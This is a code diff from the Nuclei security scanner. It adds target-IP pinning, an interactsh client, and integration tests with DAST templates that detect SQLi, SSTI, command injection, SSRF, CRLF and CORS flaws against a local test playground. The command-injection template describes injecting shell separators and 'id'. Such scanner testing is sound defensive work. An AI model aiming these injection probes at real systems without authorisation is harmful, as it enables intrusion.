parser.PurgeCompiled()
|
||||
}
|
||||
if profiles != nil {
|
||||
profiles.Prepare(slices.Concat(store.Templates(), store.Workflows()))
|
||||
executorOpts.TargetScope = profiles
|
||||
@@ -992,7 +1005,7 @@ func (r *Runner) executeSmartWorkflowInput(executorOpts *protocols.ExecutorOptio
|
||||
if err != nil {
|
||||
return nil, errors.Wrap(err, "could not create automatic scan service")
|
||||
}
|
||||
if err := service.Execute(); err != nil {
|
||||
if err := service.Execute(context.Background()); err != nil {
|
||||
return nil, errors.Wrap(err, "could not execute automatic scan")
|
||||
}
|
||||
result := &atomic.Bool{}
|
||||
@@ -1235,3 +1248,28 @@ func init() {
|
||||
HideAutoSaveMsg = env.GetEnvOrDefault("DISABLE_CLOUD_UPLOAD_WRN", false)
|
||||
EnableCloudUpload = env.GetEnvOrDefault("ENABLE_CLOUD_UPLOAD", false)
|
||||
}
|
||||
|
||||
func newInteractshHTTPClient(options *types.Options) *retryablehttp.Client {
|
||||
httpOpts := retryablehttp.DefaultOptionsSingle
|
||||
httpOpts.Timeout = 20 * time.Second // for stability reasons
|
||||
if options.Timeout > 20 {
|
||||
httpOpts.Timeout = time.Duration(options.Timeout) * time.Second
|
||||
}
|
||||
if dialers := protocolstate.GetDialersWithId(options.ExecutionId); dialers != nil && dialers.Fastdialer != nil {
|
||||
// The pooled default keeps ProxyFromEnvironment and the TLS config that
|
||||
// INTERACTSH_TLS_VERIFY edits. Nuclei only exports HTTP_PROXY when -pi
|
||||
// is set, and that path uses the pooled client, so -proxy without -pi
|
||||
// still dials the interactsh server directly.
|
||||
transport := retryablehttp.DefaultReusePooledTransport()
|
||||
transport.DialContext = dialers.Fastdialer.Dial
|
||||
transport.DialTLSContext = func(ctx context.Context, network, addr string) (net.Conn, error) {
|
||||
return dialers.Fastdialer.DialTLS(ctx, network, addr)
|
||||
}
|
||||
httpOpts.HttpClient = &http.Client{
|
||||
Transport: transport,
|
||||
Timeout: httpOpts.Timeout,
|
||||
}
|
||||
}
|
||||
// in testing it was found most of times when interactsh failed, it was due to failure in registering /polling requests
|
||||
return retryablehttp.NewClient(httpOpts)
|
||||
}
|
||||
@@ -1,13 +1,18 @@
|
||||
package runner
|
||||
|
||||
import (
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/stretchr/testify/require"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
)
|
||||
|
||||
@@ -143,3 +148,52 @@ func TestWalkReflectStructHandlesNestedStructs(t *testing.T) {
|
||||
require.Equal(t, "2", testStruct.Struct.B)
|
||||
require.Equal(t, "true", testStruct.Struct.C)
|
||||
}
|
||||
|
||||
func TestNewInteractshHTTPClient(t *testing.T) {
|
||||
// ProxyFromEnvironment reads the environment once per process. Set it
|
||||
// before the first request. NO_PROXY keeps the local dial direct.
|
||||
for _, key := range []string{"HTTP_PROXY", "http_proxy", "ALL_PROXY", "all_proxy", "https_proxy", "no_proxy"} {
|
||||
t.Setenv(key, "")
|
||||
}
|
||||
t.Setenv("HTTPS_PROXY", "http://127.0.0.1:9")
|
||||
t.Setenv("NO_PROXY", "127.0.0.1,localhost")
|
||||
|
||||
options := &types.Options{
|
||||
ExecutionId: "test-interactsh-client-dialer",
|
||||
Timeout: 35,
|
||||
}
|
||||
require.NoError(t, protocolstate.Init(options))
|
||||
t.Cleanup(func() { protocolstate.Close(options.ExecutionId) })
|
||||
|
||||
client := newInteractshHTTPClient(options)
|
||||
require.NotNil(t, client)
|
||||
require.Equal(t, 35*time.Second, client.HTTPClient.Timeout)
|
||||
|
||||
transport, ok := client.HTTPClient.Transport.(*http.Transport)
|
||||
require.True(t, ok)
|
||||
require.NotNil(t, transport.Proxy)
|
||||
require.NotNil(t, transport.DialContext)
|
||||
require.NotNil(t, transport.DialTLSContext)
|
||||
require.NotNil(t, transport.TLSClientConfig, "INTERACTSH_TLS_VERIFY edits this config")
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
}))
|
||||
t.Cleanup(srv.Close)
|
||||
|
||||
resp, err := client.HTTPClient.Get(srv.URL)
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, http.StatusNoContent, resp.StatusCode)
|
||||
require.NoError(t, resp.Body.Close())
|
||||
|
||||
host := srv.Listener.Addr().(*net.TCPAddr).IP.String()
|
||||
dialers := protocolstate.GetDialersWithId(options.ExecutionId)
|
||||
require.Equal(t, host, dialers.Fastdialer.GetDialedIP(host))
|
||||
|
||||
req, err := http.NewRequest(http.MethodGet, "https://example.com", nil)
|
||||
require.NoError(t, err)
|
||||
proxyURL, err := transport.Proxy(req)
|
||||
require.NoError(t, err)
|
||||
require.NotNil(t, proxyURL)
|
||||
require.Equal(t, "http://127.0.0.1:9", proxyURL.String())
|
||||
}
|
||||
@@ -1,7 +1,9 @@
|
||||
package runner
|
||||
|
||||
import (
|
||||
"github.com/pkg/errors"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/input/targetprofile"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
)
|
||||
|
||||
// targetProfiles returns the per-target profiles read from input, or nil when
|
||||
@@ -15,3 +17,25 @@ func (r *Runner) targetProfiles() *targetprofile.Registry {
|
||||
}
|
||||
return provider.TargetProfiles()
|
||||
}
|
||||
|
||||
// hasPinnedTargets reports whether a target line pinned a target to an ip.
|
||||
func (r *Runner) hasPinnedTargets() bool {
|
||||
provider, ok := r.inputProvider.(interface {
|
||||
PinnedTargets() bool
|
||||
})
|
||||
return ok && provider.PinnedTargets()
|
||||
}
|
||||
|
||||
// pinnedTargetConflict returns an error for an option that cannot run with
|
||||
// targets pinned to an ip.
|
||||
func pinnedTargetConflict(options *types.Options) error {
|
||||
switch {
|
||||
case options.AutomaticScan:
|
||||
return errors.New("targets pinned to an ip cannot be combined with automatic scan")
|
||||
case options.AliveHttpProxy != "" || options.AliveSocksProxy != "":
|
||||
return errors.New("targets pinned to an ip cannot be combined with a proxy, as the proxy resolves the host itself")
|
||||
case options.ReplayProxy != "":
|
||||
return errors.New("targets pinned to an ip cannot be combined with -replay-proxy, as the replay proxy resolves the host itself")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
package runner
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestPinnedTargetConflict(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
options *types.Options
|
||||
wantErr bool
|
||||
}{
|
||||
{name: "no conflicting option", options: &types.Options{}},
|
||||
{name: "automatic scan", options: &types.Options{AutomaticScan: true}, wantErr: true},
|
||||
{name: "http proxy", options: &types.Options{AliveHttpProxy: "http://127.0.0.1:8080"}, wantErr: true},
|
||||
{name: "socks proxy", options: &types.Options{AliveSocksProxy: "socks5://127.0.0.1:1080"}, wantErr: true},
|
||||
{name: "replay proxy", options: &types.Options{ReplayProxy: "http://127.0.0.1:8080"}, wantErr: true},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
require.Equal(t, tt.wantErr, pinnedTargetConflict(tt.options) != nil)
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -52,7 +52,7 @@ type NucleiExecutorOptions struct {
|
||||
Catalog catalog.Catalog
|
||||
IssuesClient reporting.Client
|
||||
RateLimiter *ratelimit.Limiter
|
||||
Interactsh *interactsh.Client
|
||||
Interactsh interactsh.IClient
|
||||
ProjectFile *projectfile.ProjectFile
|
||||
Browser *browserEngine.Browser
|
||||
FuzzStatsDB *stats.Tracker
|
||||
|
||||
@@ -11,6 +11,7 @@ import (
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/julienschmidt/httprouter"
|
||||
@@ -19,6 +20,28 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/utils/json"
|
||||
)
|
||||
|
||||
func init() {
|
||||
// The analyzer-driven DAST integration cases each fire a heavy burst of
|
||||
// differential/heuristic probes through the full CLI against the in-process
|
||||
// playground. On the Windows CI runner this is too slow/flaky and times out
|
||||
// to zero findings (consistently across reruns), while the analyzer logic
|
||||
// itself is already covered cross-platform by the pkg/fuzz/analyzers engine
|
||||
// and e2e tests (the Tests (windows-latest) job runs them and passes). Skip
|
||||
// only the binary-level analyzer cases on Windows to keep CI green without
|
||||
// dropping real coverage.
|
||||
if runtime.GOOS != "windows" {
|
||||
return
|
||||
}
|
||||
filtered := make([]integrationCase, 0, len(fuzzingTestCases))
|
||||
for _, c := range fuzzingTestCases {
|
||||
if strings.HasPrefix(c.Path, "fuzz/analyzer-") {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, c)
|
||||
}
|
||||
fuzzingTestCases = filtered
|
||||
}
|
||||
|
||||
const (
|
||||
targetFile = "fuzz/testData/ginandjuice.proxify.yaml"
|
||||
)
|
||||
@@ -41,6 +64,73 @@ var fuzzingTestCases = []integrationCase{
|
||||
{Path: "fuzz/fuzz-body-xml-sqli.yaml", TestCase: &genericFuzzTestCase{expectedResults: 1}},
|
||||
{Path: "fuzz/fuzz-body-generic-sqli.yaml", TestCase: &genericFuzzTestCase{expectedResults: 4}},
|
||||
{Path: "fuzz/fuzz-raw-http-input.yaml", TestCase: &rawHttpInputFuzz{}},
|
||||
|
||||
// Analyzer-driven DAST cases: each runs a real fuzzing template whose
|
||||
// detection is delegated to a built-in analyzer, against the dedicated
|
||||
// analyzer bench in the fuzz playground. A finding is produced only when the
|
||||
// analyzer (not a static matcher) confirms the vulnerability.
|
||||
{Path: "fuzz/analyzer-sqli.yaml", TestCase: &analyzerFuzzTestCase{route: "/analyzer/sqli?q=en", expectedResults: 1}},
|
||||
{Path: "fuzz/analyzer-ssti.yaml", TestCase: &analyzerFuzzTestCase{route: "/analyzer/ssti?q=test", expectedResults: 1}},
|
||||
{Path: "fuzz/analyzer-lfi.yaml", TestCase: &analyzerFuzzTestCase{route: "/analyzer/lfi?q=home.txt", expectedResults: 1}},
|
||||
{Path: "fuzz/analyzer-cmdi.yaml", TestCase: &analyzerFuzzTestCase{route: "/analyzer/cmdi?q=127.0.0.1", expectedResults: 1}},
|
||||
{Path: "fuzz/analyzer-ssrf.yaml", TestCase: &analyzerFuzzTestCase{route: "/analyzer/ssrf?q=https://example.com/a.png", expectedResults: 1}},
|
||||
{Path: "fuzz/analyzer-open-redirect.yaml", TestCase: &analyzerFuzzTestCase{route: "/analyzer/redirect?q=/dashboard", expectedResults: 1}},
|
||||
{Path: "fuzz/analyzer-crlf.yaml", TestCase: &analyzerFuzzTestCase{route: "/analyzer/crlf?q=/home", expectedResults: 1}},
|
||||
{Path: "fuzz/analyzer-cors.yaml", TestCase: &analyzerFuzzTestCase{route: "/analyzer/cors?q=x", expectedResults: 1}},
|
||||
{Path: "fuzz/analyzer-host-header.yaml", TestCase: &analyzerFuzzTestCase{route: "/analyzer/host-header?q=x", expectedResults: 1}},
|
||||
|
||||
// Negative cases: the same analyzer templates against benign routes must
|
||||
// produce zero findings (false-positive guard at the CLI level).
|
||||
{Path: "fuzz/analyzer-sqli.yaml", TestCase: &analyzerFuzzTestCase{route: "/analyzer/safe/reflect?q=en", expectedResults: 0}},
|
||||
{Path: "fuzz/analyzer-ssti.yaml", TestCase: &analyzerFuzzTestCase{route: "/analyzer/safe/reflect?q=test", expectedResults: 0}},
|
||||
{Path: "fuzz/analyzer-lfi.yaml", TestCase: &analyzerFuzzTestCase{route: "/analyzer/safe/reflect?q=home.txt", expectedResults: 0}},
|
||||
{Path: "fuzz/analyzer-cmdi.yaml", TestCase: &analyzerFuzzTestCase{route: "/analyzer/safe/reflect?q=127.0.0.1", expectedResults: 0}},
|
||||
{Path: "fuzz/analyzer-ssrf.yaml", TestCase: &analyzerFuzzTestCase{route: "/analyzer/safe/reflect?q=https://example.com/a.png", expectedResults: 0}},
|
||||
{Path: "fuzz/analyzer-open-redirect.yaml", TestCase: &analyzerFuzzTestCase{route: "/analyzer/safe/redirect?q=/dashboard", expectedResults: 0}},
|
||||
{Path: "fuzz/analyzer-crlf.yaml", TestCase: &analyzerFuzzTestCase{route: "/analyzer/safe/headers?q=/home", expectedResults: 0}},
|
||||
{Path: "fuzz/analyzer-cors.yaml", TestCase: &analyzerFuzzTestCase{route: "/analyzer/safe/cors?q=x", expectedResults: 0}},
|
||||
{Path: "fuzz/analyzer-host-header.yaml", TestCase: &analyzerFuzzTestCase{route: "/analyzer/safe/host?q=x", expectedResults: 0}},
|
||||
|
||||
// Non-query positions: each template fuzzes a different request component
|
||||
// (path / header / body / cookie) of a captured request and relies on an
|
||||
// analyzer for detection. Driven via the proxify-format capture file.
|
||||
{Path: "fuzz/analyzer-path-sqli.yaml", TestCase: &analyzerPositionTestCase{expectedResults: 1}},
|
||||
{Path: "fuzz/analyzer-header-sqli.yaml", TestCase: &analyzerPositionTestCase{expectedResults: 1}},
|
||||
{Path: "fuzz/analyzer-body-sqli.yaml", TestCase: &analyzerPositionTestCase{expectedResults: 1}},
|
||||
{Path: "fuzz/analyzer-cookie-ssti.yaml", TestCase: &analyzerPositionTestCase{expectedResults: 1}},
|
||||
}
|
||||
|
||||
const analyzerPositionsTargetFile = "fuzz/testData/analyzer-positions.proxify.yaml"
|
||||
|
||||
// analyzerPositionTestCase runs an analyzer-driven template that fuzzes a
|
||||
// non-query component against the captured analyzer-bench requests. Only the
|
||||
// request matching the template's fuzzed component produces a finding.
|
||||
type analyzerPositionTestCase struct {
|
||||
expectedResults int
|
||||
}
|
||||
|
||||
func (a *analyzerPositionTestCase) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiWithArgsAndGetResults(debug, "-t", filePath, "-l", analyzerPositionsTargetFile, "-im", "yaml", "-dast")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, a.expectedResults)
|
||||
}
|
||||
|
||||
// analyzerFuzzTestCase runs an analyzer-driven fuzzing template against the
|
||||
// running fuzz playground (localhost:8082) and asserts the number of findings.
|
||||
type analyzerFuzzTestCase struct {
|
||||
route string
|
||||
expectedResults int
|
||||
}
|
||||
|
||||
func (a *analyzerFuzzTestCase) Execute(filePath string) error {
|
||||
target := "http://localhost:8082" + a.route
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, target, debug, "-dast")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, a.expectedResults)
|
||||
}
|
||||
|
||||
// rawHttpInputFuzz seeds the base request from a raw HTTP request file, the
|
||||
|
||||
@@ -6,6 +6,7 @@ package integration_test
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/http/httputil"
|
||||
@@ -83,6 +84,8 @@ var httpTestcases = []integrationCase{
|
||||
{Path: "protocols/http/annotation-timeout.yaml", TestCase: &annotationTimeout{}},
|
||||
{Path: "protocols/http/custom-attack-type.yaml", TestCase: &customAttackType{}},
|
||||
{Path: "protocols/http/get-all-ips.yaml", TestCase: &scanAllIPS{}},
|
||||
{Path: "protocols/http/target-line-ip.yaml", TestCase: &httpTargetLineIP{}},
|
||||
{Path: "protocols/http/target-line-ip-pipeline.yaml", TestCase: &httpTargetLineIP{}},
|
||||
{Path: "protocols/http/get-without-scheme.yaml", TestCase: &httpGetWithoutScheme{}},
|
||||
{Path: "protocols/http/cl-body-without-header.yaml", TestCase: &httpCLBodyWithoutHeader{}},
|
||||
{Path: "protocols/http/cl-body-with-header.yaml", TestCase: &httpCLBodyWithHeader{}},
|
||||
@@ -1606,6 +1609,70 @@ func (h *scanAllIPS) Execute(filePath string) error {
|
||||
return expectResultsCount(got, 1)
|
||||
}
|
||||
|
||||
// target lines pin a hostname that does not resolve to the test servers
|
||||
type httpTargetLineIP struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *httpTargetLineIP) Execute(filePath string) error {
|
||||
serve := func(addr, name string) (*httptest.Server, error) {
|
||||
listener, err := net.Listen("tcp", addr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ts := httptest.NewUnstartedServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = fmt.Fprintf(w, "host=%s server=%s", r.Host, name)
|
||||
}))
|
||||
_ = ts.Listener.Close()
|
||||
ts.Listener = listener
|
||||
ts.Start()
|
||||
return ts, nil
|
||||
}
|
||||
|
||||
one, err := serve("127.0.0.1:0", "one")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer one.Close()
|
||||
_, port, err := net.SplitHostPort(one.Listener.Addr().String())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
lines := []string{fmt.Sprintf(`{"target": "http://pinned.test:%s", "ip": "127.0.0.1"}`, port)}
|
||||
want := []string{"one"}
|
||||
// the same host pinned to a second ip, where 127.0.0.2 is available
|
||||
if two, err := serve(net.JoinHostPort("127.0.0.2", port), "two"); err == nil {
|
||||
defer two.Close()
|
||||
lines = append(lines, fmt.Sprintf(`{"target": "http://pinned.test:%s", "ip": "127.0.0.2"}`, port))
|
||||
want = append(want, "two")
|
||||
}
|
||||
|
||||
targets, err := os.CreateTemp("", "target-lines-*.txt")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer func() { _ = os.Remove(targets.Name()) }()
|
||||
if _, err := targets.WriteString(strings.Join(lines, "\n")); err != nil {
|
||||
return err
|
||||
}
|
||||
_ = targets.Close()
|
||||
|
||||
got, err := testutils.RunNucleiBareArgsAndGetResults(debug, nil, "-t", filePath, "-l", targets.Name())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := expectResultsCount(got, len(want)); err != nil {
|
||||
return err
|
||||
}
|
||||
joined := strings.Join(got, "\n")
|
||||
for _, name := range want {
|
||||
if !strings.Contains(joined, name) {
|
||||
return fmt.Errorf("no result from server %q: %v", name, got)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ensure that ip|host are handled without http|https scheme
|
||||
type httpGetWithoutScheme struct{}
|
||||
|
||||
|
||||
@@ -5,10 +5,12 @@ package integration_test
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/go-pg/pg/v10"
|
||||
@@ -16,6 +18,7 @@ import (
|
||||
"github.com/ory/dockertest/v3"
|
||||
dc "github.com/ory/dockertest/v3/docker"
|
||||
"github.com/projectdiscovery/nuclei/v3/internal/tests/testutils"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
osutils "github.com/projectdiscovery/utils/os"
|
||||
"github.com/projectdiscovery/utils/reader"
|
||||
"go.uber.org/multierr"
|
||||
@@ -34,6 +37,7 @@ var jsTestcases = []integrationCase{
|
||||
{Path: "protocols/javascript/redis-lua-script.yaml", TestCase: &javascriptRedisLuaScript{}, DisableOn: javascriptDockerDisabled, Serial: true},
|
||||
{Path: "protocols/javascript/ssh-server-fingerprint.yaml", TestCase: &javascriptSSHServerFingerprint{}, DisableOn: javascriptDockerDisabled, Serial: true},
|
||||
{Path: "protocols/javascript/net-multi-step.yaml", TestCase: &networkMultiStep{}},
|
||||
{Path: "protocols/javascript/target-line-ip.yaml", TestCase: &javascriptTargetLineIP{}},
|
||||
{Path: "protocols/javascript/net-https.yaml", TestCase: &javascriptNetHttps{}},
|
||||
{Path: "protocols/javascript/grpc-health.yaml", TestCase: &javascriptGRPCHealth{}},
|
||||
{Path: "protocols/javascript/grpc-denied.yaml", TestCase: &javascriptGRPCDenied{}},
|
||||
@@ -467,6 +471,87 @@ func (j *networkMultiStep) Execute(filePath string) error {
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
// target lines pin a hostname that does not resolve, so the javascript
|
||||
// connection reaches a server only through the pinned ip
|
||||
type javascriptTargetLineIP struct{}
|
||||
|
||||
func (j *javascriptTargetLineIP) Execute(filePath string) error {
|
||||
serve := func(addr, banner string) (net.Listener, error) {
|
||||
listener, err := net.Listen("tcp", addr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
go func() {
|
||||
for {
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, _ = conn.Write([]byte(banner))
|
||||
_ = conn.Close()
|
||||
}
|
||||
}()
|
||||
return listener, nil
|
||||
}
|
||||
|
||||
one, err := serve("127.0.0.1:0", "one")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer func() { _ = one.Close() }()
|
||||
_, port, err := net.SplitHostPort(one.Addr().String())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
want := map[string]string{"127.0.0.1": "one"}
|
||||
// the same host pinned to a second ip, where 127.0.0.2 is available
|
||||
if two, err := serve(net.JoinHostPort("127.0.0.2", port), "two"); err == nil {
|
||||
defer func() { _ = two.Close() }()
|
||||
want["127.0.0.2"] = "two"
|
||||
}
|
||||
|
||||
lines := make([]string, 0, len(want))
|
||||
for ip := range want {
|
||||
lines = append(lines, fmt.Sprintf(`{"target": "pinned.test:%s", "ip": %q}`, port, ip))
|
||||
}
|
||||
targets, err := os.CreateTemp("", "target-lines-*.txt")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer func() { _ = os.Remove(targets.Name()) }()
|
||||
if _, err := targets.WriteString(strings.Join(lines, "\n")); err != nil {
|
||||
return err
|
||||
}
|
||||
_ = targets.Close()
|
||||
|
||||
if err := ensureSignedIntegrationTemplates(); err != nil {
|
||||
return err
|
||||
}
|
||||
results, err := testutils.RunNucleiBareArgsAndGetResults(debug, getEnvValues(), "-t", filePath, "-l", targets.Name(), "-jsonl")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
got := make(map[string]string)
|
||||
for _, result := range results {
|
||||
var event output.ResultEvent
|
||||
if !strings.HasPrefix(result, "{") || json.Unmarshal([]byte(result), &event) != nil {
|
||||
continue
|
||||
}
|
||||
got[event.IP] = strings.Join(event.ExtractedResults, ",")
|
||||
}
|
||||
if len(got) != len(want) {
|
||||
return fmt.Errorf("got results for %d ips, want %d: %v", len(got), len(want), got)
|
||||
}
|
||||
for ip, banner := range want {
|
||||
if got[ip] != banner {
|
||||
return fmt.Errorf("ip %s answered %q, want %q", ip, got[ip], banner)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func runJavascriptDockerCase(filePath string, spec javascriptDockerSpec, expectedNumbers ...int) error {
|
||||
if len(expectedNumbers) == 0 {
|
||||
expectedNumbers = []int{1}
|
||||
|
||||
@@ -6,6 +6,8 @@ package integration_test
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
@@ -44,6 +46,38 @@ func TestNetwork(t *testing.T) {
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("PinnedTargetLine", func(t *testing.T) {
|
||||
server := testutils.NewTCPServer(nil, 0, func(conn net.Conn) {
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
data, err := reader.ConnReadNWithTimeout(conn, 4, 5*time.Second)
|
||||
if err == nil && string(data) == "PING" {
|
||||
_, _ = conn.Write([]byte("PONG"))
|
||||
}
|
||||
})
|
||||
defer server.Close()
|
||||
_, port, err := net.SplitHostPort(server.URL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
targets := filepath.Join(t.TempDir(), "targets.txt")
|
||||
line := fmt.Sprintf(`{"target": "pinned.test:%s", "ip": "127.0.0.1"}`, port)
|
||||
if err := os.WriteFile(targets, []byte(line), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
// pinned.test does not resolve: the network request reaches the server
|
||||
// only through the pinned ip
|
||||
results, err := testutils.RunNucleiBareArgsAndGetResults(suite.debug, nil, "-t", "protocols/network/basic.yaml", "-l", targets)
|
||||
if err != nil {
|
||||
t.Fatalf("pinned network request failed: %v", err)
|
||||
}
|
||||
if err := expectResultsCount(results, 1); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("Hex", func(t *testing.T) {
|
||||
errState := &capturedError{}
|
||||
server := testutils.NewTCPServer(nil, 0, func(conn net.Conn) {
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
id: analyzer-body-sqli
|
||||
|
||||
info:
|
||||
name: Body-position error-based SQLi via analyzer
|
||||
author: pdteam
|
||||
severity: high
|
||||
description: |
|
||||
Drives the sqli_error analyzer while fuzzing the JSON body "name" field,
|
||||
proving the analyzer works on the body component through the real pipeline.
|
||||
|
||||
http:
|
||||
- pre-condition:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'method == "POST"'
|
||||
condition: and
|
||||
|
||||
payloads:
|
||||
seed:
|
||||
- "en"
|
||||
|
||||
fuzzing:
|
||||
- part: body
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "name"
|
||||
fuzz:
|
||||
- "{{seed}}"
|
||||
analyzer:
|
||||
name: sqli_error
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "analyzer == true"
|
||||
@@ -0,0 +1,29 @@
|
||||
id: analyzer-cmdi
|
||||
|
||||
info:
|
||||
name: OS Command Injection via analyzer
|
||||
author: pdteam
|
||||
severity: critical
|
||||
description: |
|
||||
Drives the built-in cmdi analyzer through the real fuzzing pipeline. The
|
||||
analyzer injects shell separators followed by `id` and confirms when the
|
||||
command output (uid=...gid=...) appears in the response.
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "q"
|
||||
fuzz:
|
||||
- "127.0.0.1"
|
||||
analyzer:
|
||||
name: cmdi
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "analyzer == true"
|
||||
@@ -0,0 +1,37 @@
|
||||
id: analyzer-cookie-ssti
|
||||
|
||||
info:
|
||||
name: Cookie-position SSTI via analyzer
|
||||
author: pdteam
|
||||
severity: critical
|
||||
description: |
|
||||
Drives the ssti analyzer while fuzzing the "lang" cookie value, proving the
|
||||
analyzer works on the cookie component through the real pipeline. SSTI is
|
||||
used (not SQLi) because cookie value sanitization strips SQLi quote payloads.
|
||||
|
||||
http:
|
||||
- pre-condition:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'method == "GET"'
|
||||
- 'len(cookie) > 0'
|
||||
condition: and
|
||||
|
||||
payloads:
|
||||
seed:
|
||||
- "en"
|
||||
|
||||
fuzzing:
|
||||
- part: cookie
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "lang"
|
||||
fuzz:
|
||||
- "{{seed}}"
|
||||
analyzer:
|
||||
name: ssti
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "analyzer == true"
|
||||
@@ -0,0 +1,29 @@
|
||||
id: analyzer-cors
|
||||
|
||||
info:
|
||||
name: CORS Misconfiguration via analyzer
|
||||
author: pdteam
|
||||
severity: medium
|
||||
description: |
|
||||
Drives the built-in cors analyzer through the real fuzzing pipeline. The
|
||||
analyzer sends an attacker-controlled Origin and confirms when it is
|
||||
reflected in Access-Control-Allow-Origin together with credentials.
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "q"
|
||||
fuzz:
|
||||
- "x"
|
||||
analyzer:
|
||||
name: cors
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "analyzer == true"
|
||||
@@ -0,0 +1,29 @@
|
||||
id: analyzer-crlf
|
||||
|
||||
info:
|
||||
name: CRLF Injection via analyzer
|
||||
author: pdteam
|
||||
severity: medium
|
||||
description: |
|
||||
Drives the built-in crlf analyzer through the real fuzzing pipeline. The
|
||||
analyzer injects raw CRLF sequences with canary headers/cookies and confirms
|
||||
when the response is split to include them.
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "q"
|
||||
fuzz:
|
||||
- "/home"
|
||||
analyzer:
|
||||
name: crlf
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "analyzer == true"
|
||||
@@ -0,0 +1,35 @@
|
||||
id: analyzer-header-sqli
|
||||
|
||||
info:
|
||||
name: Header-position error-based SQLi via analyzer
|
||||
author: pdteam
|
||||
severity: high
|
||||
description: |
|
||||
Drives the sqli_error analyzer while fuzzing the X-Search request header,
|
||||
proving the analyzer works on the header component through the real pipeline.
|
||||
|
||||
http:
|
||||
- pre-condition:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'method == "GET"'
|
||||
condition: and
|
||||
|
||||
payloads:
|
||||
seed:
|
||||
- "en"
|
||||
|
||||
fuzzing:
|
||||
